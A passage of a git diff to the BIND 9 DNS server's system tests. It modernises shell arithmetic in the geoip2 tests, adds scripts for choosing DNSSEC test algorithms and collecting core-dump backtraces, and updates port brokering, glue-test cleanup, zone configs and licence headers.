@@ -118,35 +122,35 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking Country database by name using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking Country database by name using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 country name test"
 fi
@@ -157,37 +161,37 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking Country database by continent code using IPv4 ($n)"
 ret=0
 lret=0
 # deliberately skipping 4 and 6 as they have duplicate continents
 for i in 1 2 3 5 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking Country database by continent code using IPv6 ($n)"
   ret=0
   lret=0
   # deliberately skipping 4 and 6 as they have duplicate continents
   for i in 1 2 3 5 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 continent code test"
 fi
@@ -198,77 +202,77 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking City database by region code using IPv4 ($n)"
 ret=0
 lret=0
 # skipping 2 on purpose here; it has the same region code as 1
 for i in 1 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking City database by region code using IPv6 ($n)"
   ret=0
   lret=0
 # skipping 2 on purpose here; it has the same region code as 1
   for i in 1 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 region code test"
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "reloading server"
 copy_setports ns2/named6.conf.in ns2/named.conf
 $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking City database by city name using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking City database by city name using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 city test"
 fi
@@ -279,35 +283,35 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking ISP database using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking ISP database using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-      j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+      j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
       [ "$i" = "$j" ] || lret=1
       [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 ISP test"
 fi
@@ -318,35 +322,35 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking ASN database by org name using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking ASN database by org name using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-      j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+      j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
       [ "$i" = "$j" ] || lret=1
       [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 ASN test"
 fi
@@ -357,35 +361,35 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking GeoIP6 ASN database, ASNNNN only, using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking ASN database, ASNNNN only, using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-      j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+      j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
       [ "$i" = "$j" ] || lret=1
       [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 ASN test"
 fi
@@ -396,35 +400,35 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking GeoIP6 ASN database, NNNN only, using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking ASN database, NNNN only, using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-      j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+      j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
       [ "$i" = "$j" ] || lret=1
       [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 ASN test"
 fi
@@ -435,35 +439,35 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking Domain database using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking Domain database using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-      j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+      j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
       [ "$i" = "$j" ] || lret=1
       [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 Domain test"
 fi
@@ -474,13 +478,13 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking geoip blackhole ACL ($n)"
 ret=0
 $DIG $DIGOPTS txt example -b 10.53.0.7 > dig.out.ns2.test$n || ret=1
 $RNDCCMD 10.53.0.2 status 2>&1 > rndc.out.ns2.test$n || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/geoip2/tests_sh_geoip2.py b/bin/tests/system/geoip2/tests_sh_geoip2.py
new file mode 100644
index 0000000000..7cac6a8af8
--- /dev/null
+++ b/bin/tests/system/geoip2/tests_sh_geoip2.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_geoip2(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/get_algorithms.py b/bin/tests/system/get_algorithms.py
new file mode 100755
index 0000000000..663b986333
--- /dev/null
+++ b/bin/tests/system/get_algorithms.py
@@ -0,0 +1,241 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# This script is a 'port' broker.  It keeps track of ports given to the
+# individual system subtests, so every test is given a unique port range.
+
+import logging
+import os
+from pathlib import Path
+import platform
+import random
+import subprocess
+import time
+from typing import Dict, List, NamedTuple, Union
+
+# Uncomment to enable DEBUG logging
+# logging.basicConfig(
+#     format="get_algorithms.py %(levelname)s %(message)s", level=logging.DEBUG
+# )
+
+STABLE_PERIOD = 3600 * 3
+"""number of secs during which algorithm selection remains stable"""
+
+
+class Algorithm(NamedTuple):
+    name: str
+    number: int
+    bits: int
+
+
+class AlgorithmSet(NamedTuple):
+    """Collection of DEFAULT, ALTERNATIVE and DISABLED algorithms"""
+
+    default: Union[Algorithm, List[Algorithm]]
+    """DEFAULT is the algorithm for testing."""
+
+    alternative: Union[Algorithm, List[Algorithm]]
+    """ALTERNATIVE is an alternative algorithm for test cases that require more
+    than one algorithm (for example algorithm rollover)."""
+
+    disabled: Union[Algorithm, List[Algorithm]]
+    """DISABLED is an algorithm that is used for tests against the
+    "disable-algorithms" configuration option."""
+
+
+RSASHA1 = Algorithm("RSASHA1", 5, 2048)
+RSASHA256 = Algorithm("RSASHA256", 8, 2048)
+RSASHA512 = Algorithm("RSASHA512", 10, 2048)
+ECDSAP256SHA256 = Algorithm("ECDSAP256SHA256", 13, 256)
+ECDSAP384SHA384 = Algorithm("ECDSAP384SHA384", 14, 384)
+ED25519 = Algorithm("ED25519", 15, 256)
+ED448 = Algorithm("ED448", 16, 456)
+
+ALL_ALGORITHMS = [
+    RSASHA1,
+    RSASHA256,
+    RSASHA512,
+    ECDSAP256SHA256,
+    ECDSAP384SHA384,
+    ED25519,
+    ED448,
+]
+
+ALGORITHM_SETS = {
+    "stable": AlgorithmSet(
+        default=ECDSAP256SHA256, alternative=RSASHA256, disabled=ECDSAP384SHA384
+    ),
+    "ecc_default": AlgorithmSet(
+        default=[
+            ECDSAP256SHA256,
+            ECDSAP384SHA384,
+            ED25519,
+            ED448,
+        ],
+        alternative=RSASHA256,
+        disabled=RSASHA512,
+    ),
+    # FUTURE The system tests needs more work before they're ready for this.
+    # "random": AlgorithmSet(
+    #     default=ALL_ALGORITHMS,
+    #     alternative=ALL_ALGORITHMS,
+    #     disabled=ALL_ALGORITHMS,
+    # ),
+}
+
+TESTCRYPTO = Path(__file__).resolve().parent / "testcrypto.sh"
+
+KEYGEN = os.getenv("KEYGEN", "")
+if not KEYGEN:
+    raise RuntimeError("KEYGEN environment variable has to be set")
+
+ALGORITHM_SET = os.getenv("ALGORITHM_SET", "stable")
+assert ALGORITHM_SET in ALGORITHM_SETS, f'ALGORITHM_SET "{ALGORITHM_SET}" unknown'
+logging.debug('choosing from ALGORITHM_SET "%s"', ALGORITHM_SET)
+
+
+def is_supported(alg: Algorithm) -> bool:
+    """Test whether a given algorithm is supported on the current platform."""
+    try:
+        subprocess.run(
+            f"{TESTCRYPTO} -q {alg.name}",
+            shell=True,
+            check=True,
+            env={
+                "KEYGEN": KEYGEN,
+                "TMPDIR": os.getenv("TMPDIR", "/tmp"),
+            },
+            stdout=subprocess.DEVNULL,
+        )
+    except subprocess.CalledProcessError as exc:
+        logging.debug(exc)
+        logging.info("algorithm %s not supported", alg.name)
+        return False
+    return True
+
+
+def filter_supported(algs: AlgorithmSet) -> AlgorithmSet:
+    """Select supported algorithms from the set."""
+    filtered = {}
+    for alg_type in algs._fields:
+        candidates = getattr(algs, alg_type)
+        if isinstance(candidates, Algorithm):
+            candidates = [candidates]
+        supported = list(filter(is_supported, candidates))
+        if len(supported) == 1:
+            supported = supported.pop()
+        elif not supported:
+            raise RuntimeError(
+                f'no {alg_type.upper()} algorithm from "{ALGORITHM_SET}" set '
+                "supported on this platform"
+            )
+        filtered[alg_type] = supported
+    return AlgorithmSet(**filtered)
+
+
+def select_random(algs: AlgorithmSet, stable_period=STABLE_PERIOD) -> AlgorithmSet:
+    """Select random DEFAULT, ALTERNATIVE and DISABLED algorithms from the set.
+
+    The algorithm selection is deterministic for a given time period and
+    platform. This should make potential issues more reproducible.
+
+    To increase the likelyhood of detecting an issue with a given algorithm in
+    CI, the current platform is used as a randomness source. When testing on
+    multiple platforms at the same time, this ensures more algorithm variance
+    while keeping reproducibility for a single platform.
+
+    The function also ensures that DEFAULT, ALTERNATIVE and DISABLED algorithms
+    are all different.
+    """
+    # FUTURE Random selection of ALTERNATIVE and DISABLED algorithms needs to
+    # be implemented.
+    alternative = algs.alternative
+    disabled = algs.disabled
+    assert isinstance(
+        alternative, Algorithm
+    ), "ALTERNATIVE algorithm randomization not supported yet"
+    assert isinstance(
+        disabled, Algorithm
+    ), "DISABLED algorithm randomization not supported yet"
+
+    # initialize randomness
+    now = time.time()
+    time_seed = int(now - now % stable_period)
+    seed = f"{platform.platform()}_{time_seed}"
+    random.seed(seed)
+
+    # DEFAULT selection
+    if isinstance(algs.default, Algorithm):
+        default = algs.default
+    else:
+        candidates = algs.default
+        for taken in [alternative, disabled]:
+            try:
+                candidates.remove(taken)
+            except ValueError:
+                pass
+        assert len(candidates), "no possible choice for DEFAULT algorithm"
+        random.shuffle(candidates)
+        default = candidates[0]
+
+    # Ensure only single algorithm is present for each option
+    assert isinstance(default, Algorithm)
+    assert isinstance(alternative, Algorithm)
+    assert isinstance(disabled, Algorithm)
+
+    assert default != alternative, "DEFAULT and ALTERNATIVE algorithms are the same"
+    assert default != disabled, "DEFAULT and DISABLED algorithms are the same"
+    assert alternative != disabled, "ALTERNATIVE and DISABLED algorithms are the same"
+
+    return AlgorithmSet(default, alternative, disabled)
+
+
+def algorithms_env(algs: AlgorithmSet) -> Dict[str, str]:
+    """Return environment variables with selected algorithms as a dict."""
+    algs_env: Dict[str, str] = {}
+
+    def set_alg_env(alg: Algorithm, prefix):
+        algs_env[f"{prefix}_ALGORITHM"] = alg.name
+        algs_env[f"{prefix}_ALGORITHM_NUMBER"] = str(alg.number)
+        algs_env[f"{prefix}_BITS"] = str(alg.bits)
+
+    assert isinstance(algs.default, Algorithm)
+    assert isinstance(algs.alternative, Algorithm)
+    assert isinstance(algs.disabled, Algorithm)
+
+    set_alg_env(algs.default, "DEFAULT")
+    set_alg_env(algs.alternative, "ALTERNATIVE")
+    set_alg_env(algs.disabled, "DISABLED")
+
+    logging.info("selected algorithms: %s", algs_env)
+    return algs_env
+
+
+def main():
+    try:
+        algs = ALGORITHM_SETS[ALGORITHM_SET]
+        algs = filter_supported(algs)
+        algs = select_random(algs)
+        algs_env = algorithms_env(algs)
+    except Exception:
+        # if anything goes wrong, the conf.sh ignores error codes, so make sure
+        # we set an environment variable to an error value that can be checked
+        # later by the test runner and/or tests themselves
+        print("export ALGORITHM_SET=error")
+        raise
+    for name, value in algs_env.items():
+        print(f"export {name}={value}")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/bin/tests/system/get_core_dumps.sh b/bin/tests/system/get_core_dumps.sh
new file mode 100755
index 0000000000..d4f6ec7f1b
--- /dev/null
+++ b/bin/tests/system/get_core_dumps.sh
@@ -0,0 +1,70 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+dir=$(dirname "$0")
+. "$dir/conf.sh"
+
+systest=$1
+status=0
+
+export SYSTESTDIR="${TOP_BUILDDIR}/bin/tests/system/${systest}"
+
+get_core_dumps() {
+    find "$SYSTESTDIR/" \( -name 'core' -or -name 'core.*' -or -name '*.core' \) ! -name '*.gz' ! -name '*.txt' | sort
+}
+
+core_dumps=$(get_core_dumps | tr '\n' ' ')
+if [ -n "$core_dumps" ]; then
+    status=1
+    echoinfo "I:$systest:Core dump(s) found: $core_dumps"
+    get_core_dumps | while read -r coredump; do
+        echoinfo "D:$systest:backtrace from $coredump:"
+        echoinfo "D:$systest:--------------------------------------------------------------------------------"
+        binary=$(gdb --batch --core="$coredump" 2>/dev/null | sed -ne "s|Core was generated by \`\([^' ]*\)[' ].*|\1|p")
+        if [ ! -f "${binary}" ]; then
+            binary=$(find "${TOP_BUILDDIR}" -path "*/.libs/${binary}" -type f)
+        fi
+        "${TOP_BUILDDIR}/libtool" --mode=execute gdb \
+                                  -batch \
+                                  -ex bt \
+                                  -core="$coredump" \
+                                  -- \
+                                  "$binary" 2>/dev/null | sed -n '/^Core was generated by/,$p' | cat_d
+        echoinfo "D:$systest:--------------------------------------------------------------------------------"
+        coredump_backtrace="${coredump}-backtrace.txt"
+        echoinfo "D:$systest:full backtrace from $coredump saved in $coredump_backtrace"
+        "${TOP_BUILDDIR}/libtool" --mode=execute gdb \
+                                  -batch \
+                                  -command="${TOP_SRCDIR}/bin/tests/system/run.gdb" \
+                                  -core="$coredump" \
+                                  -- \
+                                  "$binary" > "$coredump_backtrace" 2>&1
+        echoinfo "D:$systest:core dump $coredump archived as $coredump.gz"
+        gzip -1 "${coredump}"
+    done
+fi
+
+assertion_failures=$(find "$SYSTESTDIR/" -name named.run -exec grep "assertion failure" {} + | wc -l)
+if [ "$assertion_failures" -ne 0 ]; then
+    status=1
+    echoinfo "I:$systest:$assertion_failures assertion failure(s) found"
+fi
+
+tsan_failures=$(find "$SYSTESTDIR/" -name 'tsan.*' | wc -l)
+if [ "$tsan_failures" -ne 0 ]; then
+    status=1
+    echoinfo "I:$systest:$tsan_failures TSAN sanitizer report(s) found"
+    find "$SYSTESTDIR/" -name 'tsan.*' -exec grep "SUMMARY: " {} + | sort -u | cat_d
+fi
+
+exit $status
diff --git a/bin/tests/system/get_ports.sh b/bin/tests/system/get_ports.sh
index 2694b385da..b44e3ef6f7 100755
--- a/bin/tests/system/get_ports.sh
+++ b/bin/tests/system/get_ports.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,7 +14,11 @@
 # This script is a 'port' broker.  It keeps track of ports given to the
 # individual system subtests, so every test is given a unique port range.
 
-total_tests=$(find . -maxdepth 1 -mindepth 1 -type d | wc -l)
+get_sorted_test_names() {
+	find . -maxdepth 2 -mindepth 2 -type f \( -name "tests.sh" -o -name "tests*.py" \) | cut -d/ -f2 | sort -u
+}
+
+total_tests=$(get_sorted_test_names | wc -l)
 ports_per_test=20
 
 port_min=5001
@@ -31,7 +37,7 @@ while getopts "p:t:-:" OPT; do
     case "$OPT" in
 	p | port) baseport=$OPTARG ;;
 	t | test)
-		test_index=$(find . -maxdepth 1 -mindepth 1 -type d | sort | grep -F -x -n "./${OPTARG}" | cut -d: -f1)
+		test_index=$(get_sorted_test_names | awk "/^${OPTARG}\$/ { print NR }")
 		if [ -z "${test_index}" ]; then
 			echo "Test '${OPTARG}' not found" >&2
 			exit 1
diff --git a/bin/tests/system/glue/clean.sh b/bin/tests/system/glue/clean.sh
index 2c4087bf50..138980e90a 100644
--- a/bin/tests/system/glue/clean.sh
+++ b/bin/tests/system/glue/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,9 +15,13 @@
 # Clean up after glue tests.
 #
 
-rm -f dig.out
 rm -f */named.conf
 rm -f */named.memstats
 rm -f */named.run
-rm -f ns*/named.lock
+rm -f dig.out
+rm -f ns*/K*
+rm -f ns*/dsset-*
 rm -f ns*/managed-keys.bind*
+rm -f ns*/named.lock
+rm -f ns*/tc-test-signed.db
+rm -f ns*/tc-test-signed.db.signed
diff --git a/bin/tests/system/glue/ns1/named.conf.in b/bin/tests/system/glue/ns1/named.conf.in
index d036060f40..19595a9132 100644
--- a/bin/tests/system/glue/ns1/named.conf.in
+++ b/bin/tests/system/glue/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify no;
+	dnssec-validation no;
 };
 
 zone "." {
@@ -30,7 +33,18 @@ zone "root-servers.nil" {
 	type primary;
 	file "root-servers.nil.db";
 };
+
 zone "net" {
 	type primary;
 	file "net.db";
 };
+
+zone "tc-test-unsigned" {
+	type master;
+	file "tc-test-unsigned.db";
+};
+
+zone "tc-test-signed" {
+	type master;
+	file "tc-test-signed.db.signed";
+};
diff --git a/bin/tests/system/glue/ns1/net.db b/bin/tests/system/glue/ns1/net.db
index b98271ef6f..db784cc429 100644
--- a/bin/tests/system/glue/ns1/net.db
+++ b/bin/tests/system/glue/ns1/net.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
